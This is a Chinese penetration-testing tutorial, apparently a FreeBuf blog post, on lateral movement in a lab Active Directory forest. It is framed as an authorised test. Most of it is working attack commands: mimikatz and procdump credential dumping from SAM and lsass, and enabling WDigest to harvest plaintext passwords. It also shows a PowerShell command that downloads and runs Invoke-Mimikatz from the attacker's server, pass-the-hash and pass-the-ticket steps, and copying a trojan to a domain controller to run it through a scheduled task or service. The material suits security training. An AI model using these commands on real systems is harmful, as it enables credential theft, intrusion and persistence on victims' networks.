大余
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

系列文章
简介
渗透测试-地基篇
该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。
请注意:
本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。
名言:
你对这行的兴趣,决定你在这行的成就!
一、前言
渗透测试人员需谨记《网络安全法》,根据《网络安全法》所示,未经授权的渗透测试都是不合法的,不管是出于何种目的。红队渗透人员在进行渗透期间,渗透测试的行为和项目必须在被渗透方授予权限可渗透后,才可进行渗透测试操作。
如今有一家dayu公司,需要对自己的业务以及整体的内网框架体系进行隐患挖掘,授予权限我进行对dayu公司的渗透测试操作,在签署了双方的《渗透测试授权书》后,我开始了对dayu公司的渗透之旅。
跳开思维讲,我此篇内容是内网渗透篇章,通过我的专栏:
社工钓鱼 -> 免杀过全杀软 -> 内网渗透
那么我通过了社工钓鱼的各种方式,将钓鱼文件进行免杀后,成功钓鱼到了该公司外围人员计算机,并控制了该计算机权限获得shell,并成功登录对方电脑。
通过前期对域用户大量的信息收集,画出了相对应的简单网络拓扑图,下一步需要进攻子域控制器,思路如下:
域普通用户 -> 子域控制器 -> 父域控制器 ->辅域控制器
通过该思路进攻即可,还有另外一条思路:
域普通用户 -> 10.10.21.0/24二级区域 -> 父子域控制器 -> 横向延伸
渗透人员最爱系统之一有kali,还有各类windows集成的武器库系统,通过上期隐藏通信隧道技术已经在内网域森林中建立了一级隧道,并在上期权限提升中将普通用户权限提升为system最高权限后,今天我们就来对域森林进行横向移动,总结实战中会遇到的横向移动各种方法,利用这些方法在内网中遨游!
不会内网横向移动技术,就无法对内网机器进行进一步的渗透!!
二、环境介绍
目前信息收集获得的网络情况:(模拟环境)
拓扑图简介
为了更好的演示接下来的渗透和回看总拓扑图公司搭建环境情况:
接下来将演示分析内网中的横向移动各种方法,利用该方法在域森林中旅行!
三、Mimikatz枚举NTLM hash
通过横向移动上期讲述后,对NTLM hash有了一定的了解认识,接下来将利用Mimikatz进行哈希枚举!Mimikatz如何免杀的请查看:
单篇:渗透测试之地基免杀篇:mimikatz底层分析免杀过360
mimikatz是由法国的技术高手Benjamin Delpy使用C语言编写的一款轻量级系统调试工具。该工具可以从你内存中提取明文密码、散列值、PIN和Kerberos票据。mimikatz也可以执行哈希传递、票据传递或者构建黄金票据(Golden Ticket)。
接下来讲到实战中常用的方法和技巧!
1、通过SAM和System文件抓取密码
无工具导出SAM文件:
reg save hklm\sam sam.hive #通过reg的save选项将注册表中的SAM,System文件导出到本地磁盘
reg save hklm\system system.hive
通过reg的save选项将注册表中的SAM、System文件导出到本地磁盘。
2、通过读取SAM和System文件获取NTML Hash
通过windows自带reg命令导出的sam.hive和system.hive文件,在利用mimikatz读取该文件中的哈希密码:
lsadump::sam /sam:sam.hive /system:system.hive #文件和mimikatz放在同一目录
成功获得哈希密码!
3、Mimikatz读取SAM
1)方法1
Mimikatz也可以直接读取SAM值进行获取哈希!
将mimikatz免杀处理后上传至目标机器,在命令行中打开:
mimikatz
privilege::debug #提升权限
token::elevate #system权限
lsadump::sam #读取本地SAM文件,获取NTML Hash
成功获得哈希!
2)方法2
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" #在线读取散列值及明文密码
执行后桌面生成文本保存信息!该两种方法都是非常实用的!
四、实战哈希获取技巧总结
1、lsass.dmp读取
使用mimikatz离线读取lsass.dmp文件!
1)导出lsass.dmp文件
使用任务管理器导出lsass.dmp文件。
在Windows NT6中,可以在任务管理器中直接进行Dump操作:
成功在线导出!
2)使用Procdump导出lsass.dmp文件
Procdump是微软官方发布的工具,可以在命令行下将目标lsass文件导出,且杀毒软件不会拦截。
procdump.exe -accepteula -ma lsass.exe lsass.dmp
成功导出!
3)使用mimikatz导出lsass.dmp文件中的密码散列值
首先运行mimikatz,将lsass.dmp文件加载到mimikatz:
sekurlsa::minidump lsass.DMP #看到Switch to MINIDUMP 加载成功
sekurlsa::logonPasswords full #导出密码散列值
成功获取明文密码!!
2、powershell对散列值进行dump
使用power shell对散列值进行dump,管理员权限打开powershell,进入nishang目录,将Get-PassHashes.ps1脚本导入:
Import-Module .\Get-PassHashes.ps1
Get-PassHashes
成功通过Get-PassHashes获取dump哈希密码!
3、Powershell远程加载获取哈希
使用Powershell远程加载mimikatz抓取散列值和密码!!
1)kali开启http服务
python -m SimpleHTTPServer 80
2)远程调用mimikatz
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.253.28/Invoke-Mimikatz.ps1');Invoke-Mimikatz
成功调用VPS上建立的HTTP服务下的mimikatz文件进行远程读取哈希密码!
4、明文密码抓取技巧
微软为了防止用户密码在内存中以明文形式泄露,发布了补丁 KB2871997关闭了Wdigest功能。
Windows Server 2012及以上版本默认关闭Wdigest,使攻击者无法从内存中获取明文密码。Windows Server 2012以下版本,如果安装了KB2871997,攻击者同样无法获取明文密码。
在对方日常网络维护中,通常是查看注册表项Wdigest,可以判断Wdigest功能的状态。如果该项的值为1,用户下次登录时,攻击者就能使用工具获取明文密码。应该确保该项的值为0,使用户明文密码不会出现在内存中。
那我们只需要将Wdigest功能状态调整为1即可获取对方的明文密码!在命令行环境中开启或关闭Wdigest Auth,有如下方法:
#开启
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
#关闭
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
当Wdigest功能状态调整为1后,在最后权限维持阶段,将客户电脑进行重启后进入电脑状态即可看到对方的明文密码!!
5、Hashcat获取密码
Hashcat 的 oclHashcat 是一个用来破解哈希值的工具,支持 MD5 和 SHA1。
Hashcat号称是世界上最快,最先进的,基于GPGPU的密码恢复工具,支持5种独特攻击模式,超过170个高优化哈希算法。oclHashcat当前支持AMD(OpenCL)和Nvidia(CUDA) 图形处理器,支持GNU/Linux和Windows 7/8/10 平台。
hashcat -m 100 -a 0 hash.txt rockyou.txt --force #破解过程中s查看状态,p暂停,q退出
hashcat -m 100 -a 0 hash.txt rockyou.txt --force --show 查看破解出来的
6、在线密码破解
1)彩虹表在线破解:
https://www.objectif-securite.ch/en/ophcrack
2)推荐在线破解网站:
https://www.cmd5.com/
http://www.xmd5.com/
五、哈希传递攻击分析
大多数渗透测试人员都听说过哈希传递(Pass The Hash)攻击。该方法通过找到与账户相关的密码散列值(通常是NTLM Hash )来进行攻击。在域环境中,用户登录计算机时使用的大都是域账号,大量计算机在安装时会使用相同的本地管理员账号和密码,因此,如果计算机的本地理员账号和密码也是相同的,攻击者就能使用哈希传递攻击的方法登录内网中的其他计算机。通过哈希传递,攻击者不需要花时间破解密码散列值(进而获得密码明文)。
当用户需要登录某网站时,如果该网站使用明文的方式保存用户的密码,那么,如果该网站出现安全漏洞,所有用户的明文密码均会被泄露。由此,产生了散列值的概念。当用户设置密码时,网站服务器会对用户输人的密码进行散列加密处理(通常使用MD5算法)。散列加密算法一般为单向不可逆算法。当用户登录网站时,会先对用户输人的密码进行散列加密处理,再与数据库中存储的散列值进行对比,如果完全相同则表示验证成功。
下面通过域森林进行实验来分析哈希传递攻击的原理!
1、NTLM Hash哈希传递
这里在详细提及PTH是什么?Pass The Hash 哈希传递攻击简称 PTH,该方法通过找到与账户相关的密码散列值(NTLM Hash)来进行攻击。由于在Windows系统中,通常会使用NTLM Hash对访问资源的用户进行身份认证,所以该攻击可以在不需要明文密码的情况下,利用LM HASH和NTLM HASH直接远程登录目标主机或反弹shell。
下面演示哈希传递攻击的方法(需要管理员权限,权限提升即可)!
1)攻击者在Windows 7上面上传mimikatz,并用mimikatz抓取Hash:
mimikatz "privilege::debug" "log" "sekurlsa::logonpasswords"
privilege::debug
sekurlsa::logonpasswords
NTLM : 6c5fbeb7c83cf7afe04f8d7e38852d52
成功抓取到域管理员的NTLM Hash!!
2)在Windows 7上用mimikatz将获取的Administrator的Hash添加进lsass中:
privilege::debug
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:6c5fbeb7c83cf7afe04f8d7e38852d52
成功反弹一个票据shell界面!!
3)成功,此时会自动弹出一个新的shell,这时访问远程主机或服务,就不用提供明文密码了,如下,我们列出了域控制器OWA的c盘目录:
2、思路拓展
我们还能将msf木马copy到域控上并设置计划任务或创建服务来执行:
copy dayu.exe \\OWA\c$
#将msf木马dayu.exe复制到目标机器上
schtasks /create /tn "shell" /tr C:\dayu.exe /sc MINUTE /s 192.168.52.138
#在域控上创建shell计划任务,开机时启动c盘下dayu.exe
schtasks /run /s 192.168.52.138 /i /tn "shell"
#在域控上立即启动该计划任务
sc \\OWA create dayu binpath= "c:\dayu.exe"
#在域控上创建服务启动木马
sc \\OWA start dayu
#在域控上立即启动该服务
可看到利用了域森林横向移动(上)演示的copy后门到目标系统目录中,然后schtasks或者sc建立计划任务执行dayu.exe后门,成功上线控制目标系统!
六、票据传递攻击分析
上节演示完哈希传递攻击后,继续延伸方式方法,接下来进行票据传递攻击思路演示!
要想使用mimikatz的哈希传递功能,必须具有本地管理员权限。mimikatz 同样提供了不需要本地管理员权限进行横向渗透测试的方法,例如票据传递( Pass The Ticket, PTT). 本节将通过实验分析票据传递攻击的思路,并给出防范措施。
1、PTT票据传递
1)使用mimikatz,可以将内存中的票据导出:
mimikatz "privilege::debug" "sekurlsa::tickets /export"
#使用mimikatz,可以将内存中的票据导出
执行以上命令后,会在当前目录下出现多个服务的票据文件,例如krbgt、cifs、ldap等!只要拿到了目标机器的票据,那么就可以在黑客机器上实现未授权访问:
2)将票据文件注入内存
mimikatz "kerberos::ptt "C:\Users\Administrator\Desktop\[0;1fde52]-2-0-40e00000-Administrator@krbtgt-GOD.ORG.kirbi"
mimikatz "kerberos::ptt "[0;1fde52]-2-0-40e00000-Administrator@krbtgt-GOD.ORG.kirbi"
#将票据文件注入内存
新导入的票据可以用于域的身份认证,并拥有票据中指定用户的权限来访问网络资源。
3)验证票据是否成功
将高权限的票据文件注入内存后,将列出远程计算机系统的文件目录!
dir \\OWA\c$
注意:如果OWA打不开,可以尝试IP读取。然后接下来就进行copy拿shell!
4)清理票据
kerberos::purge #使用minikata清除内存中的票据
清理票据方便横向移动到别的目标系统!
2、黄金白银票据...
如何进行黄金白银票据攻击进行横向移动呢?在域森林中横向移动(下)将详细介绍黄金白银票据攻击、PsExec横向、WMI横向、SMBexec横向等等进行详细攻击演示!敬请期待!
七、总结
mimikatz枚举hash -> 实战哈希获取技巧(六种) -> PTH哈希攻击 -> PTT票据攻击进行横向攻击思路后,层层连接建立横向思路进行攻击渗透,给小伙伴们建立了在提权模块后横向移动的多级思路!
如果不会这几种方法进行横向移动,就很难在内网中旅行,无法见到更多的风景,学习今天的方法,通过多种方法获取到哈希值进行哈希票据攻击获得目标系统权限,就可以在该公司域森林中遨游了!
公司域森林搭建 -> 域森林信息收集上 -> 域森林信息收集下 -> 域森林通信隧道建立上 -> 域森林通信隧道建立下 -> 域森林中权限提升上 -> 域森林中权限提升中 -> 域森林中权限提升下 -> 域森林中横向移动(上)-> 域森林中横向移动(中)-> ......
接下来在《域森林中横向移动(下)》中会接触黄金白银票据攻击、PsExec横向、WMI横向、SMBexec横向攻击等横向移动的方式方法!如何建立内网渗透框架一步步攻击该公司内网环境的思路和方法,请看下篇域森林中横向移动篇章!
希望大家提高安全意识,没有网络安全就没有国家安全!
今天基础牢固就到这里,虽然基础,但是必须牢记于心。
作者:大余
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)

